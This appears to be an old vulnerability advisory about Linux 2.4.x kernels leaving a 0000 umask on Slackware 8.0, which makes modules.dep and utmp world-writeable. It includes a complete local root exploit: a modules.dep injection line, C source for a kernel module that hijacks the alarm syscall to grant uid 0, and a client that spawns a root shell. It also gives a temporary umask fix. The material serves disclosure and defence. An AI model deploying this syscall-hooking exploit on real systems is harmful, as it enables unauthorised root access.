|
COMMAND kernel (/lib/modules/2.4.5/modules.dep) SYSTEMS AFFECTED Linux Slackware 8.0, kernel 2.4.5 PROBLEM Josh Lockdown found following. The 2.4.x kernels starting with 2.4.3 (guess) have, after load, left a umask of 0000. This forces any files created in the bootup scripts, without the command `umask 022` issued to be world writeable. In slackware, files include /var/run/utmp and /var/run/gpm.pid. This same vulnerability is responsible for creating /lib/modules/`uname -r`/modules.dep world writeable. With this file world writeable, all an intruder need do is put something like the following in /lib/modules/`uname -r`/modules.dep assuming the system's startup scripts modprobe lp: /lib/modules/2.4.5/kernel/drivers/char/lp.o: /tmp/alarm.o /tmp/alarm.o: where the alarm.o module is: #include <linux/config.h> #include <linux/module.h> #include <linux/version.h> #include <linux/types.h> #include <asm/segment.h> #include <asm/unistd.h> #include <linux/dirent.h> #include <sys/syscall.h> #include <sys/sysmacros.h> #include <linux/sched.h> #include <linux/errno.h> #include <linux/fs.h> #include <linux/kernel.h> extern void* sys_call_table[]; unsigned int (*old_alarm) (unsigned int seconds); unsigned int hacked_alarm (unsigned int seconds); unsigned int hacked_alarm(unsigned int seconds) { if(seconds == 454) { current->uid = 0; current->euid = 0; current->gid = 0; current->egid = 0; return 0; } return old_alarm(seconds); } int init_module(void) { old_alarm=sys_call_table[SYS_alarm]; sys_call_table[SYS_alarm] = hacked_alarm; return 0; } void cleanup_module(void) { sys_call_table[SYS_alarm] = old_alarm; } Make a client: #include <stdio.h> #include <unistd.h> int main(void) { alarm(454); execl("/bin/sh", "sh", NULL); } which will, when the module is loaded, execute a shell as root. And of course with /var/run/utmp writeable, users can delete or in other ways manipulate their logins as they appear in w/who/finger/getlogin(), etc. A change to the kernel in 2.4.3-pre5 or -pre6 caused all kernel thread programs to run with umask 0, including init. Newer Redhat rc.sysinit sets the umask instead of trusting the kernel value, older Redhat and current Slackware trust the kernel. modutils trust umask. At the end this exploit will work only if the kernel hasn't been recompiled with make modules_install (or depmod -a called otherwise not at the startup) of if modules.dep is erased before "depmod -a" at the startup (Slakware 7.0 init script doesn' t do that, so it is not vulnerable). SOLUTION Temporary Fix : umask 022 at the top of all your startup scripts. The kernel normally mimics the default umask for shells, 022. The change from 022 to 000 was incorrect and will be backed out in the next kernel release. Fixed in 2.4.7-pre7, not released yet. It is a kernel bug, not modutils.